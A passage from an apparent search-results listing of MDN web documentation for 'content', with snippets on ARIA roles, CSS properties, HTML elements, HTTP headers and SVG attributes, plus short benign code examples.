content by passing an instance of the nsifileinputstream to send().
...And 2 more matches
ARIA: Complementary role - Accessibility
the complementary landmark role is used to designate a supporting section that relates to the main
content, yet can stand alone when separated.
... <div role="complementary"> <h2>our partners</h2> <!-- complementary section
content --> </div> this is a sidebar containing links to event sponsors.
...
content listed within a container with the complementary landmark role should make sense if separated from the main
content of the document.
...And 2 more matches
ARIA: gridcell role - Accessibility
instead use the native html td element in conjunction with the and
contenteditable attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> description gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the table-style grouping, provided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed.
...le="row"> <div role="gridcell" aria-colindex="1">debra</div> <div role="gridcell" aria-colindex="2">burks</div> <div role="gridcell" aria-colindex="5">new york</div> <div role="gridcell" aria-colindex="6">14127</div> </div> </div> … </div> describing the position of gridcells when the overall structure is unknown in situations where the table-style grouping of
content does not provide information about the columns and rows, gridcells must have their positions programatically described by using aria-describedby.
... by referencing the parent elements with roles of rowheader or columnheader applied to them via aria-describedby, it allows assistive technology to understand the position and relationship of the gridcell element to the rest of the table-style grouping of
content.
...And 2 more matches
ARIA: Navigation Role - Accessibility
the navigation landmark role is used to identify major groups of links used for navigating through a website or page
content.
...lists) of links that are intended to be used for website or page
content navigation.
... associated wai-aria roles, states, and properties aria-label a brief description of the purpose of the navigation, omitting the term "navigation", as the screen reader will read both the role and the
contents of the label.
...And 2 more matches
ARIA: img role - Accessibility
the aria img role can be used to identify multiple elements inside page
content that should be considered as a single image.
... these elements could be images, code snippets, text, emojis, or other
content that can be combined to deliver information in a visual manner.
... <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> description any set of
content that should be consumed as a single image (which could include images, video, audio, code snippets, emojis, or other
content) can be identified using role="img".
...And 2 more matches
Accessibility: What users can do to browse more safely - Accessibility
this article discusses making web
content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating systems.
... taking advantage of personalization settings can help prevent exposure to
content leading to seizures and / or other physical reactions.
... personalization and accessibility settings from the article, "understanding success criterion 2.3.1: three flashes or below threshold" "flashing can be caused by the display, the computer rendering the image or by the
content being rendered.
...And 2 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
practical tips for developers and how mozilla does it
contents this document is for developers working to support msaa in an application in order to make it accessible with 3rd party assistive technologies, as well as for hackers wishing to be involved in mozilla's msaa support specifically.
... a set of system messages that confer accessibility-related events such as focus changes, changes to document
content and state changes in ui objects like checkboxes.
...if possible, use a different window class name for documents/
content than you use for ui/dialogs.
...And 2 more matches
Color contrast - Accessibility
the color contrast between background and foreground
content (that is, usually text) should be great enough to ensure legibility.
... when designing readable interfaces for different vision capabilities, the wcag guidelines recommend the following contrast ratios: type of
content minimum ratio (aa rating) enhanced ratio (aaa rating) body text 4.5 : 1 7 : 1 large-scale text (120-150% larger than body text) 3 : 1 4.5 : 1 active user interface components and graphical objects such as icons and graphs 3 : 1 not defined these ratios do not apply to "incidental" text, such as inactive controls, logotypes, or purely decorative text.
... it is good to have a cool design on your website, but the design is worthless if your users can't read your
content.
...And 2 more matches
Robust - Accessibility
this article provides practical advice on how to write your web
content so that it conforms to the success criteria outlined in the robust principle of the web
content accessibility guidelines (wcag) 2.0 and 2.1.
... robust states that
content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.
... note: to read the w3c definitions for robust and its guidelines and success criteria, see principle 4: robust —
content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.
...And 2 more matches
-moz-float-edge - CSS: Cascading Style Sheets
/* keyword values */ -moz-float-edge: border-box; -moz-float-edge:
content-box; -moz-float-edge: margin-box; -moz-float-edge: padding-box; /* global values */ -moz-float-edge: inherit; -moz-float-edge: initial; -moz-float-edge: unset; syntax values border-box the height and width properties include the
content, padding and border but not the margin.
...
content-box the height and width properties include the
content, but not the padding, border or margin.
... margin-box the height and width properties include the
content, padding, border and margin.
...And 2 more matches
::after (:after) - CSS: Cascading Style Sheets
it is often used to add cosmetic
content to an element with the
content property.
... /* add an arrow after links */ a::after {
content: "→"; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements.
... html <p class="boring-text">here is some plain old boring text.</p> <p>here is some normal text that is neither boring nor exciting.</p> <p class="exciting-text">contributing to mdn is easy and fun.</p> css .exciting-text::after {
content: " <- exciting!"; color: green; } .boring-text::after {
content: " <- boring"; color: red; } result decorative example we can style text or images in the
content property almost any way we want.
...And 2 more matches
::placeholder - CSS: Cascading Style Sheets
in order to meet current web
content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text
content and 3:1 for larger text such as headings.
...placeholder text will also disappear when a person enters
content into an <input> element.
... with this implementation, the hint
content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded.
...And 2 more matches
:empty - CSS: Cascading Style Sheets
comments, processing instructions, and css
content do not affect whether an element is considered empty.
... /* selects any <div> that contains no
content */ div:empty { background: lime; } syntax :empty examples html <div class="box"><!-- i will be lime.
...--></p> </div> css body { display: flex; justify-
content: space-around; } .box { background: pink; height: 80px; width: 80px; } .box:empty { background: lime; } result accessibility concerns assistive technology such as screen readers cannot parse interactive
content that is empty.
...And 2 more matches
:target - CSS: Cascading Style Sheets
's fragment */ :target { border: 2px solid black; } for example, the following url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a table of
contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of
contents.
... html <h3>table of
contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>this paragraph</i> using a url fragment.
...isn't that delightful?</p> css p:target { background-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif;
content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements within the target element */ p:target i { color: red; } result pure-css lightbox you can use the :target pseudo-class to create a lightbox without using any javascript.
...And 2 more matches
overflow-block - CSS: Cascading Style Sheets
the overflow-block css media feature can be used to test how the output device handles
content that overflows the initial containing block along the block axis.
... none
content that overflows the block axis is not displayed.
... scroll
content that overflows the block axis can be seen by scrolling to it.
...And 2 more matches
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
align-
content and justify-
content the justify-
content property does not apply to block containers or table cells.
... the align-
content property applies to the block axis in order to align the
contents of the box within its container.
... if a
content distribution method such as space-between, space-around or space-evenly is requested then the fallback alignment will be used, as the
content is treated as a single alignment subject.
...And 2 more matches
Box alignment in grid layout - CSS: Cascading Style Sheets
this space is distributed using justify-
content.
... to align things on the inline axis you use the properties that start with justify-, justify-
content, justify-items and justify-self.
... to align things on the block axis you use the properties that start with align-, align-
content, align-items and align-self.
...And 2 more matches
Spanning and Balancing Columns - CSS: Cascading Style Sheets
in this second example, the heading is inside an <article> element, yet still spans the
content as expected.
...the
content does not jump over a spanning element.
... additionally, if a spanning element appears later in the
content it can cause unexpected or unwanted behaviour when there is not enough
content to create columns after the spanner.
...And 2 more matches
CSS Multi-column Layout - CSS: Cascading Style Sheets
support is included for establishing the number of columns in a layout, as well as how
content should flow from column to column, gap sizes between columns, and column dividing lines (known as column rules) along with their appearance.
...as the value of column-count is 3, the
content is arranged into 3 columns of equal size.
...therefore the properties now defined in the css fragmentation specification are required in order to control how
content breaks between columns.
...And 2 more matches
In Flow and Out of Flow - CSS: Cascading Style Sheets
you can see the background colour of the following paragraph running underneath, it is only the line boxes of that paragraph that have been shortened to cause the effect of wrapping
content around the float.
...you cannot apply anything to the following in-flow
content to achieve that.
... when taking an item out of flow with positioning, you will need to manage the possibility of
content overlapping.
...And 2 more matches
Shapes From Images - CSS: Cascading Style Sheets
the
content now wraps around the star shape.
... using images with generated
content in the above example i have both used the image as the value of shape-outside and also added it to the page.
... you do need something to float, but that could be some generated
content as in the below example.
...And 2 more matches
List group with badges - CSS: Cascading Style Sheets
requirements our list items should be displayed with the badges lined up on the right, no matter how much
content the item has.
... the badge should always be centered vertically whether there is a single line of
content, or more than one.
... to ensure the text and badge line up correctly i use the justify-
content property with a value of space-between.
...And 2 more matches
Recipe: Media objects - CSS: Cascading Style Sheets
the media object should clear the
contents no matter which side is tallest.
...this means that when we have a footer, with short
content above, the footer can be pushed down to the bottom of the media object.
... another reason to use grid layout is in order that i can use fit-
content() for the track sizing of the image.
...And 2 more matches
Sticky footers - CSS: Cascading Style Sheets
a sticky footer pattern is one where the footer of your page "sticks" to the bottom of the viewport in cases where the
content is shorter than the viewport height.
... requirements the sticky footer pattern needs to meet the following requirements: footer sticks to the bottom of the viewport when
content is short.
... if the
content of the page extends past the viewport bottom, the footer then sits below the
content as normal.
...And 2 more matches
CSS reference - CSS: Cascading Style Sheets
--webkit-line-clampa:activeadditive-symbols (@counter-style)::after (:after)align-
contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibilitybackgroundbackground-attachmentbackground-blend-modebackground-clipbackground-colorbackground-imagebac...
...hbottom@bottom-centerbox-decoration-breakbox-shadowbox-sizingbreak-afterbreak-beforebreak-insidebrightness()ccalc()caption-sidecaret-colorch@character-variantcharacter-variant()@charset:checkedcircle()clamp()clearclipclip-pathcm<color>colorcolor-adjustcolumn-countcolumn-fillcolumn-gapcolumn-rulecolumn-rule-colorcolumn-rule-stylecolumn-rule-widthcolumn-spancolumn-widthcolumnsconic-gradient()contain
contentcontrast()<counter>counter-incrementcounter-resetcounter-set@counter-stylecounters()cross-fade()cubic-bezier()::cue::cue-regioncursor<custom-ident>d:defaultdeg<dimension>:dirdirection:disableddisplay<display-box><display-inside><display-internal><display-legacy><display-listitem><display-outside>dpcmdpidppxdrop-shadow()eelement()ellipse()em:emptyempty-cells:enabledenv()exffallback (@counter-style)...
...filter<filter-function>:first:first-child::first-letter (:first-letter)::first-line (:first-line):first-of-typefit-
content()<flex>flexflex-basisflex-directionflex-flowflex-growflex-shrinkflex-wrapfloat:focusfont@font-facefont-familyfont-family (@font-face)font-feature-settingsfont-feature-settings (@font-face)@font-feature-valuesfont-kerningfont-language-overridefont-optical-sizingfont-sizefont-size-adjustfont-stretchfont-stretch (@font-face)font-stylefont-style (@font-face)font-synthesisfont-variantfont-variant (@font-face)font-variant-alternatesfont-variant-capsfont-variant-east-asianfont-variant-ligaturesfont-variant-numericfont-variant-positionfont-variation-settingsfont-variation-settings (@font-face)font-weightfont-weight (@font-face)format()fr<frequency><frequency-percentage>:fullscreengga...
...And 2 more matches
Viewport concepts - CSS: Cascading Style Sheets
content outside the viewport, such as the see also section in this document, is likely to not be visible onscreen until scrolled into view.
...if you magnify from the middle of the layout viewport, the
content would expand in all four directions.
...if you scroll down, you are changing the
contents of the visual viewport and bringing the bottom of the layout viewport into view, displaying the sticky footer, which will then stay stuck at the bottom.
...And 2 more matches
background-clip - CSS: Cascading Style Sheets
the background-clip css property sets whether an element's background extends underneath its border box, padding box, or
content box.
... syntax /* keyword values */ background-clip: border-box; background-clip: padding-box; background-clip:
content-box; background-clip: text; /* global values */ background-clip: inherit; background-clip: initial; background-clip: unset; values border-box the background extends to the outside edge of the border (but underneath the border in z-ordering).
...
content-box the background is painted within (clipped to) the
content box.
...And 2 more matches
box-flex - CSS: Cascading Style Sheets
notes the containing box allocates the available extra space in proportion to the flex value of each of the
content elements.
...
content elements that have zero flex do not grow.
... if only one
content element has nonzero flex, then it grows to fill the available space.
...And 2 more matches
box-pack - CSS: Cascading Style Sheets
the -moz-box-pack and -webkit-box-pack css properties specify how a -moz-box or -webkit-box packs its
contents in the direction of its layout.
... values start the box packs
contents at the start, leaving any extra space at the end.
... center the box packs
contents in the center, dividing any extra space equally between the start and the end.
...And 2 more matches
color-adjust - CSS: Cascading Style Sheets
exact the element's
content has been specifically and carefully crafted to use colors, images, and styles in a thoughtful and/or important way, such that being altered by the browser might actually make things worse rather than better.
... the appearance of the
content should not be changed except by the user's request.
...removing the background color would decrease the legibility of the
content.
...And 2 more matches
mask-origin - CSS: Cascading Style Sheets
/* keyword values */ mask-origin:
content-box; mask-origin: padding-box; mask-origin: border-box; mask-origin: margin-box; mask-origin: fill-box; mask-origin: stroke-box; mask-origin: view-box; /* multiple values */ mask-origin: padding-box,
content-box; mask-origin: view-box, fill-box, border-box; /* non-standard keyword values */ -webkit-mask-origin:
content; -webkit-mask-origin: padding; -webkit-mask-origin: border; /* global values */ mask-origin: inherit; mask-origin: initial; mask-origin: unset; for elements rendered as a single box, this property specifies the mask positioning area.
... values
content-box the position is relative to the
content box.
...
content same as
content-box.
...And 2 more matches
opacity - CSS: Cascading Style Sheets
opacity is the degree to which
content behind an element is hidden, and is the opposite of transparency.
... any <number> strictly between 0 and 1 the element is translucent (that is,
content behind the element can be seen).
... description opacity applies to the element as a whole, including its
contents, even though the value is not inherited by child elements.
...And 2 more matches
Guide to scroll anchoring - CSS: Cascading Style Sheets
you browse to a long page on a slow connection and begin to scroll to read the
content; while you are busy reading, the part of the page you are looking at suddenly jumps.
... this has happened because large images or some other elements have just loaded further up in the
content.
... scroll anchoring is a browser feature that aims to solve this problem of
content jumping, which happens if
content loads in after the user has already scrolled to a new part of the document.
...And 2 more matches
quotes - CSS: Cascading Style Sheets
the quotes css property sets how the browser should render quotation marks that are added using the open-quotes or close-quotes values of the css
content property.
... syntax /* keyword value */ quotes: none; quotes: auto; /* <string> values */ quotes: "«" "»"; /* set open-quote and close-quote to the french quotation marks */ quotes: "«" "»" "‹" "›"; /* set two levels of quotation marks */ /* global values */ quotes: inherit; quotes: initial; quotes: unset; values none the open-quote and close-quote values of the
content property produce no quotation marks.
...that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before {
content: open-quote; } q::after {
content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had this default behavior (chromiums, safari, edge), so this example works without it being explicitly being set.
...And 2 more matches
repeat() - CSS: Cascading Style Sheets
/* <track-repeat> values */ repeat(4, 1fr) repeat(4, [col-start] 250px [col-end]) repeat(4, [col-start] 60% [col-end]) repeat(4, [col-start] 1fr [col-end]) repeat(4, [col-start] min-
content [col-end]) repeat(4, [col-start] max-
content [col-end]) repeat(4, [col-start] auto [col-end]) repeat(4, [col-start] minmax(100px, 1fr) [col-end]) repeat(4, [col-start] fit-
content(200px) [col-end]) repeat(4, 10px [col-start] 30% [col-middle] auto [col-end]) repeat(4, [col-start] min-
content [col-middle] max-
content [col-end]) /* <auto-repeat> values */ repeat(auto-fill, 250px) repeat(auto-fit, 2...
...-start] 250px [col-end]) repeat(auto-fit, [col-start] 250px [col-end]) repeat(auto-fill, [col-start] minmax(100px, 1fr) [col-end]) repeat(auto-fill, 10px [col-start] 30% [col-middle] 400px [col-end]) /* <fixed-repeat> values */ repeat(4, 250px) repeat(4, [col-start] 250px [col-end]) repeat(4, [col-start] 60% [col-end]) repeat(4, [col-start] minmax(100px, 1fr) [col-end]) repeat(4, [col-start] fit-
content(200px) [col-end]) repeat(4, 10px [col-start] 30% [col-middle] 400px [col-end]) syntax values <length> a positive integer length.
... max-
content represents the largest max-
content contribution of the grid items occupying the grid track.
...And 2 more matches
user-modify - CSS: Cascading Style Sheets
it was originally planned to determine whether or not the
content of an element can be edited by a user.
... /* keyword values */ user-modify: read-only; user-modify: read-write; user-modify: write-only; /* global values */ user-modify: inherit; user-modify: initial; user-modify: unset; this property has been replaced by the
contenteditable attribute.
...
contents are read-only.
...And 2 more matches
Overview of events and handlers - Developer guides
events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the
content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.
...with the change to dynamic page rendering, browsers loop continuously between processing, drawing, presenting
content, and waiting for some new event trigger.
... event triggers include the completion of the loading of a resource on the network e.g., downloads an image that can now be drawn on the screen, the completion of parsing a resource by the browser e.g., processes the html
content of a page, the interaction of a user with the
contents of the page e.g., clicks a button.
...And 2 more matches
The Unicode Bidirectional Text Algorithm - Developer guides
understanding this algorithm in at least basic terms is helpful when you're striving to produce localization-ready web
content or apps.
... in this guide, we'll take a look at the bidi algorithm and learn in general what it does and how it applies to your
content, so that you'll be better prepared when using the features of html and css to which the algorithm applies while determining the order and directionality of text during rendering.
... fundamentals (base direction, character types, etc) the algorithm character level directionality directional runs (what they are, how base direction applies) handling neutral characters overriding the algorithm
content about using html and css to override the default behavior of the algorithm; include info about isolating ranges etc.
...And 2 more matches
<aside>: The Aside element - HTML: Hypertext Markup Language
the html <aside> element represents a portion of a document whose
content is only indirectly related to the document's main
content.
...
content categories flow
content, sectioning
content, palpable
content.
... permitted
content flow
content.
...And 2 more matches
<code>: The Inline Code element - HTML: Hypertext Markup Language
the html <code> element displays its
contents styled in a fashion intended to indicate that the text is a short fragment of computer code.
... by default, the
content text is displayed using the user agent's default monospace font.
...
content categories flow
content, phrasing
content, palpable
content.
...And 2 more matches
<col> - HTML: Hypertext Markup Language
content categories none.
... permitted
content none, it is an empty element.
... align this enumerated attribute specifies how horizontal alignment of each column cell
content will be handled.
...And 2 more matches
<colgroup> - HTML: Hypertext Markup Language
content categories none.
... permitted
content if the span attribute is present: none, it is an empty element.
... align this enumerated attribute specifies how horizontal alignment of each column cell
content will be handled.
...And 2 more matches
<header> - HTML: Hypertext Markup Language
the html <header> element represents introductory
content, typically a group of introductory or navigational aids.
...
content categories flow
content, palpable
content.
... permitted
content flow
content, but with no <header> or <footer> descendant.
...And 2 more matches
<input type="file"> - HTML: Hypertext Markup Language
for example, a file picker that needs
content that can be presented as an image, including both standard image formats and pdf files, might look like this: <input type="file" accept="image/*,.pdf"> using file inputs a basic example <form method="post" enctype="multipart/form-data"> <div> <label for="file">choose file to upload</label> <input type="file" id="file" name="file" multiple> </div> <div> <button>submit</button> </d...
...multiple> </div> <div class="preview"> <p>no files currently selected for upload</p> </div> <div> <button>submit</button> </div> </form> html { font-family: sans-serif; } form { width: 580px; background: #ccc; margin: 0 auto; padding: 20px; border: 1px solid black; } form ol { padding-left: 0; } form li, div > p { background: #eee; display: flex; justify-
content: space-between; margin-bottom: 10px; list-style-type: none; border: 1px solid black; } form img { height: 64px; order: 1; } form p { line-height: 32px; padding-left: 10px; } form label, form button { background-color: #7f9ccb; padding: 5px 10px; border-radius: 5px; border: 1px ridge black; font-size: 0.8rem; height: auto; } form label:hover, form button:hover { bac...
... input.addeventlistener('change', updateimagedisplay); whenever the updateimagedisplay() function is invoked, we: use a while loop to empty the previous
contents of the preview <div>.
...And 2 more matches
<input type="month"> - HTML: Hypertext Markup Language
we had to put the icons on a <span> next to the input, not on the input itself, because in chrome the generated
content is placed inside the form control, and can't be styled or shown effectively.
... div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute;
content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute;
content: '✓'; padding-left: 5px; } important: html form validation is not a substitute for scripts that ensure that the entered data is in the proper format.
... div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute;
content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute;
content: '✓'; padding-left: 5px; } the best way to deal with dates in forms in a cross-browser way (until all of the major browsers have supported them for a while) is to get the user to enter the month and year in separate controls (<select> elements being popular; see below for an implementation), or use java...
...And 2 more matches
<input type="week"> - HTML: Hypertext Markup Language
'; additional attributes in addition to the attributes common to <input> elements, week inputs offer the following attributes: attribute description max the latest year and week to accept as valid input min the earliest year and week to accept as valid input readonly a boolean which, if present, indicates that the user cannot edit the field's
contents step the stepping interval (the distance between allowed values) to use for both user interface and constraint validation max the latest (time-wise) year and week number, in the string format discussed in the value section above, to accept.
...we had to put the icons on a <span> next to the input, not on the input itself, because in chrome the generated
content is placed inside the form control, and can't be styled or shown effectively.
... div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute;
content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute;
content: '✓'; padding-left: 5px; } the result here is that only weeks between w01 and w52 in 2017 will be seen as valid and be selectable in supporting browsers.
...And 2 more matches
<menuitem> - HTML: Hypertext Markup Language
(menu items for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.)
content categories none.
... permitted
content none, it is an empty element.
... example html
content <!-- a <div> element with a context menu --> <div contextmenu="popup-menu"> right-click to see the adjusted context menu </div> <menu type="context" id="popup-menu"> <menuitem type="checkbox" checked>checkbox</menuitem> <hr> <menuitem type="command" label="this command does nothing" icon="https://developer.cdn.mozilla.net/static/img/favicon144.png"> commands don't render their conte...
...And 2 more matches
<noscript> - HTML: Hypertext Markup Language
content categories metadata
content, flow
content, phrasing
content.
... permitted
content when scripting is disabled and when it is a descendant of the <head> element: in any order, zero or more <link> elements, zero or more <style> elements, and zero or more <meta> elements.
... when scripting is disabled and when it isn't a descendant of the <head> element: any transparent
content, but no <noscript> element must be among its descendants.
...And 2 more matches
<style>: The Style Information element - HTML: Hypertext Markup Language
it contains css, which is applied to the
contents of the document containing the <style> element.
... nonce a cryptographic nonce (number used once) used to whitelist inline styles in a style-src
content-security-policy.
... <!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical summary
content categories metadata
content, and if the scoped attribute is present: flow
content.
...And 2 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
you should use the more semantically helpful <code>, <kbd>, <samp>, or <var> elements for inline text that needs to be presented in monospace type, or the <pre> tag for
content that should be presented as a separate block.
... if none of the semantic elements are appropriate for your use case (for example, if you simply need to show some
content in a non-proportional font), you should consider using the <span> element, styling it as desired using css.
...
content categories flow
content, phrasing
content, palpable
content.
...And 2 more matches
itemprop - HTML: Hypertext Markup Language
.</p> </div> one property, "image", whose value is a url <div itemscope> <img itemprop="image" src="google-logo.png" alt="google"> </div> when a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's
contents (which is not part of the structured data - see example below).
... an item with two properties, "favorite-color" and "favorite-fruit", both set to the value "orange" <div itemscope> <span itemprop="favorite-color favorite-fruit">orange</span> </div> note: there is no relationship between the microdata and the
content of the document where the microdata is marked up.
... same structured data marked up in two different ways there is no semantic difference between the following two examples <figure> <img src="castle.jpeg"> <figcaption><span itemscope><span itemprop="name">the castle</span></span> (1986)</figcaption> </figure> <span itemscope><meta itemprop="name"
content="the castle"></span> <figure> <img src="castle.jpeg"> <figcaption>the castle (1986)</figcaption> </figure> both have a figure with a caption, and both, completely unrelated to the figure, have an item with a name-value pair with the name "name" and the value "the castle".
...And 2 more matches
tabindex - HTML: Hypertext Markup Language
a negative value is useful when you have off-screen
content that appears on a specific event.
...doing so makes it difficult for people who rely on assistive technology to navigate and operate page
content.
... if you set the tabindex attribute on a <div>, then its child
content cannot be scrolled with the arrow keys unless you set tabindex on the
content, too.
...And 2 more matches
Inline elements - HTML: Hypertext Markup Language
inline elements are those which only occupy the space bounded by the tags defining the element, instead of breaking the flow of the
content.
...however, doing this will not change the category and the
content model of the element.
... conceptual differences in brief, here are the basic conceptual differences between inline and block-level elements:
content model generally, inline elements may contain only data and other inline elements.
...And 2 more matches
Link types - HTML: Hypertext Markup Language
<a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate
content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.
... <link> <a>, <area>, <form> preconnect provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any
content, so that when the link is followed the linked
content can be fetched more quickly.
...see preloading
content with rel="preload" for more details.
...And 2 more matches
Browser detection using the user agent - HTTP
also try to move less relevant/important information down to the bottom and group the page's
content together meaningfully.
...for the purposes of grouping the
content meaningfully, all the cat boxes are separated from all the dog boxes such that the cat and dog boxes are not intermixed together.
...the first method uses horizontal flexboxes to group the
content such that when the page is displayed to the end user, all the dogs boxes are at the top of the page and all the cat boxes are lower on the page.
...And 2 more matches
Accept-Encoding - HTTP
the accept-encoding request http header advertises which
content encoding, usually a compression algorithm, the client is able to understand.
... using
content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the
content-encoding response header.
... notes: an iana registry maintains a complete list of official
content encodings.
...And 2 more matches
Transfer-Encoding - HTTP
if you want to compress data over the whole connection, use the end-to-end
content-encoding header instead.
...the
content-length header is omitted in this case and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format, followed by '\r\n' and then the chunk itself, followed by another '\r\n'.
... like the compress program, which has disappeared from most unix distributions, this
content-encoding is used by almost no browsers today, partly because of a patent issue (which expired in 2003).
...And 2 more matches
OPTIONS - HTTP
allowed in html forms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the curl command-line program to issue an options request: curl -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no
content allow: options, get, head, post cache-control: max-age=604800 date: thu, 13 oct 2016 11:45:00 gmt server: eos (lax004/2813) preflighted requests in cors in cors, a preflight request is sent with the options method so that the server can respond if it is acceptable to send the request.
... the access-control-request-headers header tells the server that when the actual request is sent, it will have the x-pingother and
content-type headers.
... options /resources/post-here/ http/1.1 host: bar.example accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip,deflate connection: keep-alive origin: https://foo.example access-control-request-method: post access-control-request-headers: x-pingother,
content-type the server now can respond if it will accept a request under these circumstances.
...And 2 more matches
POST - HTTP
the type of the body of the request is indicated by the
content-type header.
...in this case, the
content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements: application/x-www-form-urlencoded: the keys and values are encoded in key-value tuples separated by '&', with a '=' between the key and the value.
...the keys are given in the
content-disposition header of each part.
...And 2 more matches
A typical HTTP session - HTTP
as there is no
content-length provided in an http header, this data block is presented empty, marking the end of the headers, allowing the server to process the request the moment it receives this empty line.
... for example, sending the result of a form: post /contact_form.php http/1.1 host: developer.mozilla.org
content-length: 64
content-type: application/x-www-form-urlencoded name=joe%20user&request=send%20me%20one%20of%20your%20catalogue request methods http defines a set of request methods indicating the desired action to be performed upon a resource.
... example responses successful web page response: http/1.1 200 ok
content-type: text/html; charset=utf-8
content-length: 55743 connection: keep-alive cache-control: s-maxage=300, public, max-age=0
content-language: en-us date: thu, 06 dec 2018 17:37:18 gmt etag: "2e77ad1dc6ab0b53a2996dfd4653c1c3" server: meinheld/0.6.1 strict-transport-security: max-age=63072000 x-
content-type-options: nosniff x-frame-options: deny x-xss-protection: 1; mode=block vary: accept-encoding,...
...And 2 more matches
Recommended Web Performance Timings: How long is too long? - Web Performance
there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating
content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).
...a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new
content was made and will load, such as the browser displaying the page title and the background color of the page displaying.
...as noted in the description of the critical rendering path, when received, browsers immediately start processing the html, rendering the
content as it is received rather than waiting for additional assets to load.
...And 2 more matches
refX - SVG: Scalable Vector Graphics
value <length-percentage> | <number> | left | center | right default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker
contents, after application of the viewbox and preserveaspectratio attributes.
... <number> numbers are interpreted as being in the coordinate system of the marker
contents, after application of the viewbox and preserveaspectratio attributes.
... unlike other positioning attributes, refx is interpreted as being in the coordinate system of the symbol
contents, after application of the viewbox and preserveaspectratio attributes.
...And 2 more matches
refY - SVG: Scalable Vector Graphics
value <length-percentage> | <number> | top | center | bottom default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker
contents, after application of the viewbox and preserveaspectratio attributes.
... <number> numbers are interpreted as being in the coordinate system of the marker
contents, after application of the viewbox and preserveaspectratio attributes.
... unlike other positioning attributes, refy is interpreted as being in the coordinate system of the symbol
contents, after application of the viewbox and preserveaspectratio attributes.
...And 2 more matches
viewBox - SVG: Scalable Vector Graphics
marker for <marker>, viewbox defines the position and dimension for the
content of the <marker> element.
... value <number>?, <number>?, <number>?, <number> default value none animatable yes pattern for <pattern>, viewbox defines the position and dimension for the
content of the pattern tile.
... value <number>?, <number>?, <number>?, <number> default value none animatable yes svg for <svg>, viewbox defines the position and dimension for the
content of the <svg> element.
...And 2 more matches
Patterns - SVG: Scalable Vector Graphics
unlike gradients, patterns have a second attribute, pattern
contentunits, which describes the units system used inside the pattern element, on the basic shapes themselves.
...what this means is that unless you specify one or both of these attributes (pattern
contentunits and patternunits), the shapes you draw inside your pattern are being drawn in a different coordinate system than the pattern element is using, which can make things a bit confusing when you're writing this by hand.
...by changing the pattern
contentunits attribute, we can put all the elements into the same unit system: <pattern id="pattern" width=".25" height=".25" pattern
